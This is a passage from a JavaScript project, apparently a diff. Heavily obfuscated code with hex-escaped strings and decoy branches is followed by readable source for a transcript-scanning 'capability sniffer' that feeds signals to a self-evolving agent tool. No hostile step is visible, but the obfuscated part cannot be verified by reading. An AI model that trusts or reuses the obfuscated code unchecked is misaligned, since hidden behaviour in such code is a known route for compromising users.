_0x5b03ad(_0x38a9)['\x41\x61\x67\x62\x6b\x7a'](),_0x38a9['\x5a\x51\x4d\x69\x64\x6d']=!![];}_0x2221e9=_0x38a9['\x6e\x76\x4c\x6d\x66\x62'](_0x2221e9,_0x360ced),_0x38a9['\x6f\x68\x64\x70\x51\x52'][_0x4cd98d]=_0x2221e9;}else _0x2221e9=_0xbd0d2a;return _0x2221e9;}function _0x4c833a(_0x46a21b,_0x16b45d,_0x337bd0){const _0x43078e=_0x2dcb32,_0x30ab06={'\x4d\x4a\x71\x47\x7a':function(_0x4d1dd8,_0xd4191c){return _0x4d1dd8===_0xd4191c;},'\x59\x61\x47\x4b\x63':function(_0x27d9f2,_0x3c834e,_0x527057,_0x4d6c2c,_0x1de9ae){return _0x27d9f2(_0x3c834e,_0x527057,_0x4d6c2c,_0x1de9ae);},'\x68\x6f\x56\x7a\x63':_0x43078e(0x270,'\x2a\x79\x37\x7a'),'\x58\x75\x44\x58\x57':_0x43078e(0x129,'\x32\x63\x63\x46'),'\x42\x6b\x42\x44\x74':function(_0x523656,_0x516f0e){return _0x523656-_0x516f0e;},'\x78\x41\x56\x6e\x77':function(_0xa74fd3,_0x19d727){return _0xa74fd3+_0x19d727;},'\x6f\x78\x79\x4e\x75':function(_0x5d0618,_0x4a9ffe){return _0x5d0618(_0x4a9ffe);},'\x4c\x48\x44\x58\x44':function(_0xe36815,_0x280a96){return _0xe36815+_0x280a96;}};if(!_0x46a21b||!_0x46a21b[_0x43078e(0x1c8,'\x35\x23\x55\x31')]())return;const _0x1dde74=_0x46a21b['\x74\x6f\x4c\x6f\x77\x65\x72\x43'+_0x43078e(0x1dd,'\x68\x43\x56\x5d')]();for(const [_0x328623,_0x172127]of _0x1402ee){if(_0x337bd0[_0x43078e(0xfc,'\x59\x46\x76\x69')](_0x172127))continue;const _0x5af89b=new RegExp(_0x328623[_0x43078e(0x127,'\x64\x6a\x6c\x4e')],_0x328623[_0x43078e(0x112,'\x57\x49\x29\x33')][_0x43078e(0x1af,'\x23\x76\x79\x78')]('\x67')?_0x328623[_0x43078e(0x122,'\x68\x43\x56\x5d')]:_0x328623[_0x43078e(0x1d6,'\x56\x31\x23\x57')]+'\x67');let _0x31913b,_0x41a63f=null;while((_0x31913b=_0x5af89b[_0x43078e(0x1fe,'\x32\x6a\x6a\x51')](_0x46a21b))!==null){if(_0x30ab06['\x4d\x4a\x71\x47\x7a'](_0x31913b[0xdf*-0x2+0x132f+-0x1171][_0x43078e(0x14d,'\x35\x79\x63\x79')],0x2553+-0xee5+-0x166e)){_0x5af89b[_0x43078e(0x19d,'\x35\x23\x55\x31')+'\x78']++;continue;}if(_0x30ab06[_0x43078e(0x202,'\x6d\x6f\x73\x73')](_0x284ed3,_0x46a21b,_0x1dde74,_0x31913b[_0x43078e(0x17f,'\x63\x57\x4a\x7a')],_0x31913b[-0x2001+0x1*0x1901+0x700][_0x43078e(0x1cd,'\x5b\x45\x44\x44')])){if(_0x30ab06[_0x43078e(0x228,'\x79\x53\x57\x25')](_0x30ab06[_0x43078e(0x1fc,'\x6d\x6f\x73\x73')],_0x30ab06[_0x43078e(0x196,'\x5e\x5a\x38\x62')]))return _0x1af5f1;else{_0x41a63f=_0x31913b;break;}}}if(!_0x41a63f)continue;_0x337bd0['\x61\x64\x64'](_0x172127);const _0x1354db=Math[_0x43078e(0x205,'\x5e\x5a\x38\x62')](0x1151+0xb01+-0x91*0x32,_0x30ab06[_0x43078e(0x239,'\x35\x79\x63\x79')](_0x41a63f['\x69\x6e\x64\x65\x78'],-0x142b+-0x1*-0x1641+0x1c6*-0x1)),_0x12e803=_0x46a21b['\x73\x6c\x69\x63\x65'](_0x1354db,_0x30ab06[_0x43078e(0x257,'\x52\x5d\x30\x66')](_0x1354db,_0x3249a7))[_0x43078e(0x1ea,'\x33\x56\x32\x58')](/\s+/g,'\x20')[_0x43078e(0x224,'\x79\x53\x57\x25')]();_0x16b45d[_0x43078e(0x170,'\x42\x34\x5b\x65')]({'\x63\x61\x70\x61\x62\x69\x6c\x69\x74\x79':_0x172127,'\x6d\x61\x74\x63\x68\x65\x64':_0x41a63f[-0x543*-0x1+0x1bc4+-0x69b*0x5][_0x43078e(0x156,'\x69\x6d\x5e\x63')](-0x1*-0x1bf7+-0x242*0x9+-0x7a5*0x1,0x7*0x22c+-0x1eb3*0x1+0xfbb),'\x73\x6e\x69\x70\x70\x65\x74':_0x12e803,'\x68\x61\x73\x68':_0x30ab06[_0x43078e(0x1b0,'\x63\x57\x4a\x7a')](_0x3ac04c,_0x30ab06[_0x43078e(0x25f,'\x6d\x6f\x73\x73')](_0x172127,'\x7c')+_0x12e803)});}}function _0x432cc3(_0x5146c1){const _0x331acc=_0x2dcb32,_0x49d694={'\x4e\x66\x67\x6b\x42':function(_0x3f6ec0,_0x2557f3){return _0x3f6ec0>=_0x2557f3;},'\x47\x6a\x4e\x5a\x47':function(_0x2c7eb8,_0x49231f,_0x1de2cb,_0x319a70){return _0x2c7eb8(_0x49231f,_0x1de2cb,_0x319a70);},'\x61\x41\x42\x53\x71':function(_0x5bf458,_0x59c08e){return _0x5bf458(_0x59c08e);}},_0x551174=Array['\x69\x73\x41\x72\x72\x61\x79'](_0x5146c1)?_0x5146c1:[_0x5146c1],_0x50b302=[],_0x915c27=new Set();for(const _0x3327d8 of _0x551174){if(_0x49d694[_0x331acc(0x1f4,'\x33\x56\x32\x58')](_0x50b302['\x6c\x65\x6e\x67\x74\x68'],_0x420cd4))break;_0x49d694['\x47\x6a\x4e\x5a\x47'](_0x4c833a,_0x49d694[_0x331acc(0x223,'\x5b\x45\x44\x44')](String,_0x3327d8||''),_0x50b302,_0x915c27);}return _0x50b302[_0x331acc(0x102,'\x79\x53\x57\x25')](0x1*-0x2397+-0x9d9*0x2+-0x3749*-0x1,_0x420cd4);}function _0x572e0d(_0x389016){const _0x1503cf=_0x2dcb32,_0x2af72e={};_0x2af72e['\x53\x43\x54\x71\x69']='\x73\x68\x61\x64\x6f\x77',_0x2af72e[_0x1503cf(0x242,'\x40\x4f\x6e\x77')]=function(_0xaf87b9,_0x4a0bd3){return _0xaf87b9===_0x4a0bd3;},_0x2af72e[_0x1503cf(0x169,'\x67\x68\x42\x23')]=_0x1503cf(0x207,'\x52\x32\x6c\x37'),_0x2af72e[_0x1503cf(0x1ee,'\x4b\x6d\x25\x62')]='\x65\x6e\x66\x6f\x72\x63\x65',_0x2af72e[_0x1503cf(0x22e,'\x5b\x45\x44\x44')]=function(_0x28eb57,_0x10c2a4){return _0x28eb57===_0x10c2a4;},_0x2af72e[_0x1503cf(0x201,'\x35\x23\x55\x31')]=_0x1503cf(0x133,'\x67\x68\x42\x23'),_0x2af72e['\x7a\x6f\x6a\x59\x62']=function(_0x4c86f7,_0x2586f2){return _0x4c86f7+_0x2586f2;},_0x2af72e[_0x1503cf(0x134,'\x52\x52\x31\x61')]=_0x1503cf(0x254,'\x35\x79\x63\x79'),_0x2af72e[_0x1503cf(0x1fa,'\x5e\x5a\x38\x62')]=_0x1503cf(0x275,'\x35\x26\x59\x2a'),_0x2af72e['\x53\x6d\x69\x51\x57']=_0x1503cf(0x12c,'\x5e\x68\x50\x34')+'\x61\x62\x69\x6c\x69\x74\x79\x3a',_0x2af72e[_0x1503cf(0x1ac,'\x79\x53\x57\x25')]=_0x1503cf(0x256,'\x38\x39\x63\x54'),_0x2af72e[_0x1503cf(0x186,'\x69\x4f\x39\x40')]=function(_0x3d84d3,_0x178095){return _0x3d84d3>_0x178095;};const _0x5a1a10=_0x2af72e,_0x3a6c57=[],_0x561f57=new Set();for(const _0x117349 of _0x389016){if(_0x5a1a10['\x49\x43\x72\x62\x4b'](_0x5a1a10[_0x1503cf(0x118,'\x73\x4e\x2a\x71')],_0x1503cf(0x1bd,'\x35\x55\x66\x28'))){const _0x5c41ad=_0x5ca76c(_0x5f5acc.env.EVOLVER_CONV_SNIFF_ENABLED||OTKlXH[_0x1503cf(0x1a2,'\x79\x53\x57\x25')])[_0x1503cf(0x1a6,'\x35\x23\x55\x31')+_0x1503cf(0x1bf,'\x4b\x6d\x25\x62')]()[_0x1503cf(0x14b,'\x23\x76\x79\x78')]();if(OTKlXH[_0x1503cf(0x1e6,'\x32\x6a\x6a\x51')](_0x5c41ad,OTKlXH[_0x1503cf(0x246,'\x38\x39\x63\x54')])||OTKlXH[_0x1503cf(0x111,'\x6d\x53\x33\x65')](_0x5c41ad,_0x1503cf(0x14a,'\x29\x42\x62\x56'))||_0x5c41ad==='\x30')return OTKlXH[_0x1503cf(0x244,'\x63\x37\x28\x64')];if(OTKlXH[_0x1503cf(0xfa,'\x56\x25\x65\x36')](_0x5c41ad,OTKlXH[_0x1503cf(0x1ee,'\x4b\x6d\x25\x62')])||OTKlXH[_0x1503cf(0x130,'\x35\x23\x55\x31')](_0x5c41ad,'\x6f\x6e')||_0x5c41ad===OTKlXH[_0x1503cf(0x25b,'\x35\x79\x63\x79')]||OTKlXH[_0x1503cf(0x124,'\x32\x63\x63\x46')](_0x5c41ad,'\x31'))return OTKlXH['\x69\x70\x6d\x4f\x63'];return OTKlXH[_0x1503cf(0x213,'\x57\x49\x29\x33')];}else{const _0x5042a8=_0x5a1a10[_0x1503cf(0x162,'\x63\x57\x4a\x7a')]+_0x117349[_0x1503cf(0x120,'\x56\x25\x65\x36')+'\x74\x79'];if(!_0x561f57[_0x1503cf(0x104,'\x31\x6f\x39\x46')](_0x5042a8)){if(_0x5a1a10['\x54\x77\x72\x5a\x71']===_0x5a1a10[_0x1503cf(0x1b8,'\x32\x6a\x6a\x51')])_0x561f57[_0x1503cf(0x225,'\x51\x6d\x52\x76')](_0x5042a8),_0x3a6c57[_0x1503cf(0x11c,'\x5b\x45\x44\x44')](_0x5042a8);else{const _0x4a86cd=_0x70a2f3(),_0x5e248f={};_0x5e248f[_0x1503cf(0x154,'\x42\x34\x5b\x65')+'\x65']=!![];if(!_0x3ff822[_0x1503cf(0x20e,'\x68\x43\x56\x5d')+'\x6e\x63'](_0x4a86cd))_0x298b4c[_0x1503cf(0x1eb,'\x63\x39\x62\x41')+'\x63'](_0x4a86cd,_0x5e248f);_0x2088c0[_0x1503cf(0x13a,'\x68\x43\x56\x5d')+'\x6c\x65\x53\x79\x6e\x63'](_0x73df6e(),OTKlXH[_0x1503cf(0x1a7,'\x4b\x6d\x25\x62')](_0x5608cc[_0x1503cf(0x175,'\x35\x23\x55\x31')+'\x79'](_0x1d129d),'\x0a'),OTKlXH[_0x1503cf(0x22c,'\x4b\x6d\x25\x62')]);}}}}if(_0x5a1a10[_0x1503cf(0x173,'\x35\x32\x6f\x31')](_0x3a6c57['\x6c\x65\x6e\x67\x74\x68'],0x1a54+-0x3e*-0x35+-0xd0e*0x3))_0x3a6c57[_0x1503cf(0x276,'\x29\x42\x62\x56')](_0x4ecc93);return _0x3a6c57;}function _0x554824(_0x1458a1,_0x47243e){const _0x1e3bda=_0x2dcb32,_0x4807be={'\x4a\x64\x6e\x53\x68':function(_0x5c200a){return _0x5c200a();},'\x74\x75\x53\x66\x57':function(_0x18d53a,_0x159009){return _0x18d53a+_0x159009;},'\x52\x65\x4c\x6a\x56':_0x1e3bda(0x249,'\x5e\x68\x50\x34'),'\x4a\x50\x61\x6c\x79':function(_0x159273,_0x3ea488){return _0x159273(_0x3ea488);},'\x77\x4f\x48\x68\x62':function(_0x2c31b0,_0x4b646d){return _0x2c31b0(_0x4b646d);},'\x62\x6b\x41\x6f\x62':function(_0x10e910,_0x24ef1e){return _0x10e910(_0x24ef1e);},'\x6d\x50\x6d\x44\x58':function(_0x8b9120,_0x14990d){return _0x8b9120===_0x14990d;},'\x70\x57\x70\x74\x63':_0x1e3bda(0x105,'\x63\x57\x4a\x7a'),'\x4d\x6c\x7a\x71\x55':_0x1e3bda(0x119,'\x73\x4e\x2a\x71'),'\x61\x63\x58\x52\x6d':function(_0x4063d1,_0x4832e5){return _0x4063d1+_0x4832e5;},'\x64\x52\x4e\x4c\x57':function(_0x156981,_0xac4528){return _0x156981+_0xac4528;},'\x71\x65\x6f\x41\x52':_0x1e3bda(0x1ec,'\x42\x34\x5b\x65')+_0x1e3bda(0x1a8,'\x52\x5d\x30\x66')+_0x1e3bda(0x19c,'\x64\x6a\x6c\x4e')+'\x20\x73\x75\x72\x66\x61\x63\x65'+'\x20','\x78\x66\x45\x59\x4a':_0x1e3bda(0x147,'\x69\x6d\x5e\x63')+_0x1e3bda(0x1c0,'\x31\x6f\x39\x46')+_0x1e3bda(0x206,'\x64\x6a\x6c\x4e')+'\x3a\x20','\x47\x58\x43\x4a\x45':_0x1e3bda(0x1ff,'\x32\x63\x63\x46')+_0x1e3bda(0x148,'\x45\x55\x5e\x37')+_0x1e3bda(0x167,'\x29\x42\x62\x56')+_0x1e3bda(0x274,'\x69\x6d\x5e\x63')+_0x1e3bda(0x273,'\x35\x55\x66\x28')+_0x1e3bda(0x191,'\x31\x6f\x39\x46')+_0x1e3bda(0x210,'\x68\x43\x56\x5d')+_0x1e3bda(0x222,'\x67\x68\x42\x23')+_0x1e3bda(0x23a,'\x5e\x68\x50\x34'),'\x6b\x61\x42\x4d\x63':function(_0x1a53ae,_0x39db83){return _0x1a53ae+_0x39db83;},'\x41\x5a\x69\x44\x70':function(_0x223b54,_0x1eb269){return _0x223b54+_0x1eb269;},'\x53\x4e\x66\x6b\x70':function(_0x365a57,_0xb68a48){return _0x365a57+_0xb68a48;},'\x42\x65\x6e\x61\x70':function(_0x3cfad6,_0x2e027e){return _0x3cfad6+_0x2e027e;},'\x6a\x42\x5a\x73\x65':'\x20\x63\x61\x70\x61\x62\x69\x6c'+_0x1e3bda(0x18a,'\x5a\x5a\x69\x74')+_0x1e3bda(0x1d4,'\x4c\x24\x73\x6c')+'\x3b\x20\x69\x6e\x6a\x65\x63\x74'+_0x1e3bda(0x121,'\x51\x6d\x52\x76'),'\x4a\x44\x50\x62\x4f':'\x20\x73\x69\x67\x6e\x61\x6c\x28'+'\x73\x29\x3a\x20'},_0x2e8fe3=_0x47243e||_0x4807be[_0x1e3bda(0x125,'\x73\x4e\x2a\x71')](_0x246a17),_0x43ded5={};_0x43ded5[_0x1e3bda(0x258,'\x4b\x6d\x25\x62')]=_0x4b0752,_0x43ded5['\x63\x61\x6e\x64\x69\x64\x61\x74'+'\x65\x73']=[],_0x43ded5[_0x1e3bda(0x171,'\x42\x34\x5b\x65')]=[];if(!_0x54919a(_0x2e8fe3))return _0x43ded5;const _0x4c526a=_0x4807be[_0x1e3bda(0x13e,'\x6d\x53\x33\x65')](_0x432cc3,_0x1458a1),_0x462624=_0x2e8fe3[_0x1e3bda(0x187,'\x78\x32\x5a\x5a')]||{},_0x19a914=_0x4c526a[_0x1e3bda(0x146,'\x52\x5d\x30\x66')](_0x1b59fc=>!_0x462624[_0x1b59fc[_0x1e3bda(0x226,'\x32\x6a\x6a\x51')]]),_0x50fa2b={};_0x50fa2b[_0x1e3bda(0x18b,'\x35\x55\x66\x28')]=_0x4b0752,_0x50fa2b['\x63\x61\x6e\x64\x69\x64\x61\x74'+'\x65\x73']=[],_0x50fa2b[_0x1e3bda(0x235,'\x35\x32\x6f\x31')]=[];if(_0x19a914[_0x1e3bda(0x19b,'\x5e\x5a\x38\x62')]===-0x1*-0x173f+-0x6c4*-0x1+-0x1*0x1e03)return _0x50fa2b;_0x2e8fe3['\x6c\x61\x73\x74\x5f\x73\x6e\x69'+_0x1e3bda(0x23e,'\x63\x37\x28\x64')]=Date['\x6e\x6f\x77']();for(const _0x5af142 of _0x19a914)_0x462624[_0x5af142[_0x1e3bda(0x1e9,'\x35\x23\x55\x31')]]={'\x63\x61\x70\x61\x62\x69\x6c\x69\x74\x79':_0x5af142[_0x1e3bda(0x26b,'\x31\x6f\x39\x46')+'\x74\x79'],'\x61\x74':new Date()[_0x1e3bda(0x26c,'\x63\x37\x28\x64')+_0x1e3bda(0x1c1,'\x35\x26\x59\x2a')]()};_0x2e8fe3[_0x1e3bda(0x203,'\x50\x39\x58\x66')]=_0x462624,_0x4807be['\x77\x4f\x48\x68\x62'](_0x4d55a5,_0x2e8fe3);const _0x93fcc5=_0x4807be['\x4a\x50\x61\x6c\x79'](_0x572e0d,_0x19a914);_0x4807be['\x62\x6b\x41\x6f\x62'](_0x4d29a1,{'\x61\x74':new Date()[_0x1e3bda(0x16d,'\x53\x78\x46\x24')+_0x1e3bda(0x25c,'\x53\x78\x46\x24')](),'\x6d\x6f\x64\x65':_0x4b0752,'\x63\x61\x6e\x64\x69\x64\x61\x74\x65\x73':_0x19a914[_0x1e3bda(0x16e,'\x5a\x5a\x69\x74')](_0x262ba8=>({'\x63\x61\x70\x61\x62\x69\x6c\x69\x74\x79':_0x262ba8['\x63\x61\x70\x61\x62\x69\x6c\x69'+'\x74\x79'],'\x6d\x61\x74\x63\x68\x65\x64':_0x262ba8[_0x1e3bda(0x1de,'\x35\x26\x59\x2a')],'\x68\x61\x73\x68':_0x262ba8[_0x1e3bda(0x114,'\x63\x37\x28\x64')]})),'\x73\x69\x67\x6e\x61\x6c\x73':_0x93fcc5});if(_0x4807be[_0x1e3bda(0x1d7,'\x53\x78\x46\x24')](_0x4b0752,_0x4807be['\x70\x57\x70\x74\x63'])){if(_0x4807be['\x6d\x50\x6d\x44\x58'](_0x4807be[_0x1e3bda(0x1d8,'\x56\x25\x65\x36')],_0x4807be[_0x1e3bda(0x1a3,'\x35\x79\x63\x79')])){console['\x6c\x6f\x67'](_0x4807be['\x61\x63\x58\x52\x6d'](_0x4807be[_0x1e3bda(0x1f2,'\x4c\x24\x73\x6c')](_0x4807be[_0x1e3bda(0x1d3,'\x67\x68\x42\x23')](_0x4807be[_0x1e3bda(0x11f,'\x4c\x24\x73\x6c')],_0x19a914[_0x1e3bda(0x234,'\x50\x61\x4b\x6a')]),_0x4807be[_0x1e3bda(0x24a,'\x52\x5d\x30\x66')])+_0x19a914[_0x1e3bda(0x25a,'\x73\x4e\x2a\x71')](_0x506eca=>_0x506eca[_0x1e3bda(0x172,'\x56\x31\x23\x57')+'\x74\x79'])[_0x1e3bda(0x271,'\x35\x79\x63\x79')]('\x2c\x20'),_0x4807be[_0x1e3bda(0x216,'\x56\x31\x23\x57')]));const _0x2fa339={};return _0x2fa339['\x6d\x6f\x64\x65']=_0x4b0752,_0x2fa339[_0x1e3bda(0x131,'\x73\x4e\x2a\x71')+'\x65\x73']=_0x19a914,_0x2fa339[_0x1e3bda(0x232,'\x50\x61\x4b\x6a')]=[],_0x2fa339;}else try{const _0x3f132d=Psbpwm['\x4a\x64\x6e\x53\x68'](_0x4c2732),_0x540aa6={};_0x540aa6[_0x1e3bda(0x21d,'\x5b\x45\x44\x44')+'\x65']=!![];if(!_0x15384c[_0x1e3bda(0x1dc,'\x52\x5d\x30\x66')+'\x6e\x63'](_0x3f132d))_0x43aa02[_0x1e3bda(0x18f,'\x52\x32\x6c\x37')+'\x63'](_0x3f132d,_0x540aa6);const _0x1a0898=Psbpwm[_0x1e3bda(0x1b1,'\x50\x39\x58\x66')](Psbpwm[_0x1e3bda(0x1e1,'\x78\x32\x5a\x5a')](_0x5890f3),Psbpwm[_0x1e3bda(0x209,'\x42\x34\x5b\x65')]);_0x1cd735[_0x1e3bda(0x263,'\x67\x68\x42\x23')+'\x65\x53\x79\x6e\x63'](_0x1a0898,Psbpwm[_0x1e3bda(0x1e7,'\x32\x63\x63\x46')](_0x53793f['\x73\x74\x72\x69\x6e\x67\x69\x66'+'\x79'](_0x3d2794,null,-0x2029*-0x1+-0x24b*0x2+0x1*-0x1b91),'\x0a'),_0x1e3bda(0x1f8,'\x6d\x6f\x73\x73')),_0x1a3614[_0x1e3bda(0x260,'\x63\x37\x28\x64')+'\x6e\x63'](_0x1a0898,Psbpwm[_0x1e3bda(0x1d9,'\x35\x26\x59\x2a')](_0x2e589b));}catch(_0x1e8d8d){}}console[_0x1e3bda(0x1a9,'\x73\x4e\x2a\x71')](_0x4807be[_0x1e3bda(0x10f,'\x73\x4e\x2a\x71')](_0x4807be[_0x1e3bda(0x13d,'\x51\x6d\x52\x76')](_0x4807be[_0x1e3bda(0x157,'\x67\x68\x42\x23')](_0x4807be[_0x1e3bda(0x11d,'\x6d\x53\x33\x65')](_0x1e3bda(0x1ec,'\x42\x34\x5b\x65')+_0x1e3bda(0x160,'\x52\x52\x31\x61')+_0x1e3bda(0x174,'\x32\x63\x63\x46'),_0x19a914[_0x1e3bda(0x1be,'\x56\x31\x23\x57')]),_0x4807be[_0x1e3bda(0x199,'\x6d\x53\x33\x65')])+_0x93fcc5[_0x1e3bda(0x1ae,'\x57\x49\x29\x33')],_0x4807be[_0x1e3bda(0x23c,'\x5a\x26\x5b\x72')]),_0x93fcc5[_0x1e3bda(0x18e,'\x35\x26\x59\x2a')]('\x2c\x20')));const _0x3df56b={};return _0x3df56b[_0x1e3bda(0x18d,'\x53\x78\x46\x24')]=_0x4b0752,_0x3df56b[_0x1e3bda(0x123,'\x45\x55\x5e\x37')+'\x65\x73']=_0x19a914,_0x3df56b[_0x1e3bda(0x261,'\x68\x43\x56\x5d')]=_0x93fcc5,_0x3df56b;}const _0x237dba={};_0x237dba['\x67\x65\x74\x4d\x6f\x64\x65']=_0x487947,_0x237dba[_0x2dcb32(0x1d2,'\x5a\x26\x5b\x72')+_0x2dcb32(0x23f,'\x5e\x68\x50\x34')]=_0x54919a,_0x237dba[_0x2dcb32(0x1df,'\x56\x31\x23\x57')+'\x75\x73']=_0x432cc3,_0x237dba[_0x2dcb32(0x1f7,'\x32\x63\x63\x46')+_0x2dcb32(0x1f9,'\x52\x5d\x30\x66')]=_0x572e0d,_0x237dba['\x74\x72\x79\x53\x6e\x69\x66\x66']=_0x554824,_0x237dba[_0x2dcb32(0x1c9,'\x59\x46\x76\x69')+'\x65']=_0x246a17,_0x237dba[_0x2dcb32(0x26d,'\x35\x26\x59\x2a')+'\x74\x65']=_0x4d55a5,_0x237dba[_0x2dcb32(0x1c4,'\x45\x55\x5e\x37')+_0x2dcb32(0x1b4,'\x67\x68\x42\x23')]=_0x4ecc93,module['\x65\x78\x70\x6f\x72\x74\x73']=_0x237dba;
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
// Conversation Capability Sniffer
|
|
4
|
+
// --------------------------------
|
|
5
|
+
// evolver autonomously surfaces evolution opportunities from CODE (errsig /
|
|
6
|
+
// recurring_error), from MISSING features (capability_gap), and at idle time
|
|
7
|
+
// from external knowledge (explore.js: TODO scan, arxiv). The one blind spot:
|
|
8
|
+
// a human-verified, deterministic capability demonstrated *in the conversation*
|
|
9
|
+
// (e.g. "I just published a Feishu doc via lark-cli and validated it") never
|
|
10
|
+
// surfaces, because signal extraction maps free text onto the closed
|
|
11
|
+
// OPPORTUNITY_SIGNALS vocabulary and there is no extractor that reads the
|
|
12
|
+
// transcript for "the user just proved a reusable capability worth keeping".
|
|
13
|
+
//
|
|
14
|
+
// This module is that extractor. It mirrors explore.js: env gating + cooldown,
|
|
15
|
+
// a scan that produces results, dedup state on disk, and convertToSignals().
|
|
16
|
+
// Like the rest of evolver it does NOT call an LLM directly (evolver builds
|
|
17
|
+
// prompts and lets the bridged executor — the Hand — do the reasoning). The
|
|
18
|
+
// scan here is a lightweight RULE-BASED pre-filter; when it fires it injects a
|
|
19
|
+
// candidate signal so the selector/distiller can pick the work up on the
|
|
20
|
+
// executor side.
|
|
21
|
+
//
|
|
22
|
+
// Default posture is SHADOW (observe-only): it logs what it *would* surface
|
|
23
|
+
// without injecting, so the behaviour can be validated before it influences
|
|
24
|
+
// real cycles. Set EVOLVER_CONV_SNIFF_ENABLED=enforce to inject for real.
|
|
25
|
+
|
|
26
|
+
const fs = require('fs');
|
|
27
|
+
const path = require('path');
|
|
28
|
+
const crypto = require('crypto');
|
|
29
|
+
|
|
30
|
+
const { getEvolutionDir } = require('./paths');
|
|
31
|
+
|
|
32
|
+
// off | shadow | enforce. Default 'shadow' so a fresh install observes before
|
|
33
|
+
// it acts. 'off' disables entirely; 'enforce' injects candidate signals.
|
|
34
|
+
const MODE = (() => {
|
|
35
|
+
const raw = String(process.env.EVOLVER_CONV_SNIFF_ENABLED || 'shadow').toLowerCase().trim();
|
|
36
|
+
if (raw === 'off' || raw === 'false' || raw === '0') return 'off';
|
|
37
|
+
if (raw === 'enforce' || raw === 'on' || raw === 'true' || raw === '1') return 'enforce';
|
|
38
|
+
return 'shadow';
|
|
39
|
+
})();
|
|
40
|
+
|
|
41
|
+
const COOLDOWN_MS = parseInt(process.env.EVOLVER_CONV_SNIFF_COOLDOWN_MS || '1800000', 10) || 1800000;
|
|
42
|
+
const MAX_CANDIDATES = 5;
|
|
43
|
+
const SNIPPET_MAX = 240;
|
|
44
|
+
|
|
45
|
+
// Signals injected (enforce mode). The umbrella signal lets a dedicated gene
|
|
46
|
+
// (or the distiller) match "there is a conversation-surfaced capability".
|
|
47
|
+
const UMBRELLA_SIGNAL = 'conv_capability_candidate';
|
|
48
|
+
|
|
49
|
+
// Evidence that a reusable capability was just *successfully exercised* in the
|
|
50
|
+
// transcript. We require (a) a success/completion marker AND (b) a reusable
|
|
51
|
+
// action verb, so idle chatter or failed attempts do not trigger.
|
|
52
|
+
const SUCCESS_MARKERS = [
|
|
53
|
+
'success', 'succeeded', 'verified', 'validated', 'works', 'working',
|
|
54
|
+
'published', 'created', 'completed', 'passed', 'done',
|
|
55
|
+
'成功', '已发布', '已验证', '验证通过', '搞定', '跑通', '通过了',
|
|
56
|
+
];
|
|
57
|
+
|
|
58
|
+
// Reusable, deterministic actions worth keeping as a capability. Each entry is
|
|
59
|
+
// [regex, capability-slug]. Kept deliberately conservative.
|
|
60
|
+
const CAPABILITY_PATTERNS = [
|
|
61
|
+
[/\blark-cli\b|飞书文档|feishu doc|lark doc/i, 'publish-feishu-doc'],
|
|
62
|
+
[/\bgh (pr|issue|release)\b|github api|open(ed)? a pr\b/i, 'github-automation'],
|
|
63
|
+
[/\bcurl\b.+\b(api|endpoint)\b|\bfetch\(.+\bapi\b/i, 'api-call'],
|
|
64
|
+
[/\bdocker (build|run|compose)\b/i, 'docker-workflow'],
|
|
65
|
+
[/\bkubectl\b|helm (install|upgrade)\b/i, 'k8s-operation'],
|
|
66
|
+
[/\bprisma (migrate|db push)\b|\bpsql\b|pg_dump/i, 'db-operation'],
|
|
67
|
+
[/\bnpm publish\b|\bnpx skills\b/i, 'package-publish'],
|
|
68
|
+
];
|
|
69
|
+
|
|
70
|
+
function _statePath() { return path.join(getEvolutionDir(), 'conv_sniff_state.json'); }
|
|
71
|
+
function _logPath() { return path.join(getEvolutionDir(), 'conv_sniff_log.jsonl'); }
|
|
72
|
+
|
|
73
|
+
function readState() {
|
|
74
|
+
try { return JSON.parse(fs.readFileSync(_statePath(), 'utf8')); }
|
|
75
|
+
catch (_) { return { seen: {}, last_sniff_ts: 0 }; }
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
function writeState(state) {
|
|
79
|
+
try {
|
|
80
|
+
const dir = getEvolutionDir();
|
|
81
|
+
if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
|
|
82
|
+
const tmp = _statePath() + '.tmp';
|
|
83
|
+
fs.writeFileSync(tmp, JSON.stringify(state, null, 2) + '\n', 'utf8');
|
|
84
|
+
fs.renameSync(tmp, _statePath());
|
|
85
|
+
} catch (_) {}
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
function _appendLog(obj) {
|
|
89
|
+
try {
|
|
90
|
+
const dir = getEvolutionDir();
|
|
91
|
+
if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
|
|
92
|
+
fs.appendFileSync(_logPath(), JSON.stringify(obj) + '\n', 'utf8');
|
|
93
|
+
} catch (_) {}
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
function _shortHash(s) {
|
|
97
|
+
return crypto.createHash('sha256').update(String(s || '')).digest('hex').slice(0, 16);
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
function getMode() { return MODE; }
|
|
101
|
+
|
|
102
|
+
function shouldSniff(state) {
|
|
103
|
+
if (MODE === 'off') return false;
|
|
104
|
+
const st = state || readState();
|
|
105
|
+
const last = st.last_sniff_ts || 0;
|
|
106
|
+
// Date.now is fine here — this runs in the live process, not the workflow VM.
|
|
107
|
+
if (Date.now() - last < COOLDOWN_MS) return false;
|
|
108
|
+
return true;
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
// Proximity window (chars): a success marker must appear within this distance
|
|
112
|
+
// of the capability match for the pair to count. A global "success anywhere +
|
|
113
|
+
// capability anywhere" co-occurrence is NOT enough — that lets an unrelated
|
|
114
|
+
// "tests passed" pair with a *failed* lark-cli/kubectl mention and surface a
|
|
115
|
+
// false candidate (Bugbot #175, High). Require LOCAL co-occurrence instead.
|
|
116
|
+
const PROXIMITY_WINDOW = 200;
|
|
117
|
+
|
|
118
|
+
// Negators that flip a success marker ("not verified", "未发布", "failed to
|
|
119
|
+
// publish"). If one appears within NEGATION_LOOKBACK chars before the marker,
|
|
120
|
+
// the marker does not count as success (Bugbot #175 round 2, Medium).
|
|
121
|
+
const NEGATORS = ['not ', "n't ", 'no ', 'never ', 'fail', 'unable', "wasn't", "isn't", "didn't",
|
|
122
|
+
'没', '未', '不', '失败', '无法'];
|
|
123
|
+
const NEGATION_LOOKBACK = 20;
|
|
124
|
+
|
|
125
|
+
function _markerIsNegated(lowerText, markerStart) {
|
|
126
|
+
const from = Math.max(0, markerStart - NEGATION_LOOKBACK);
|
|
127
|
+
const before = lowerText.slice(from, markerStart);
|
|
128
|
+
return NEGATORS.some((n) => before.includes(n));
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
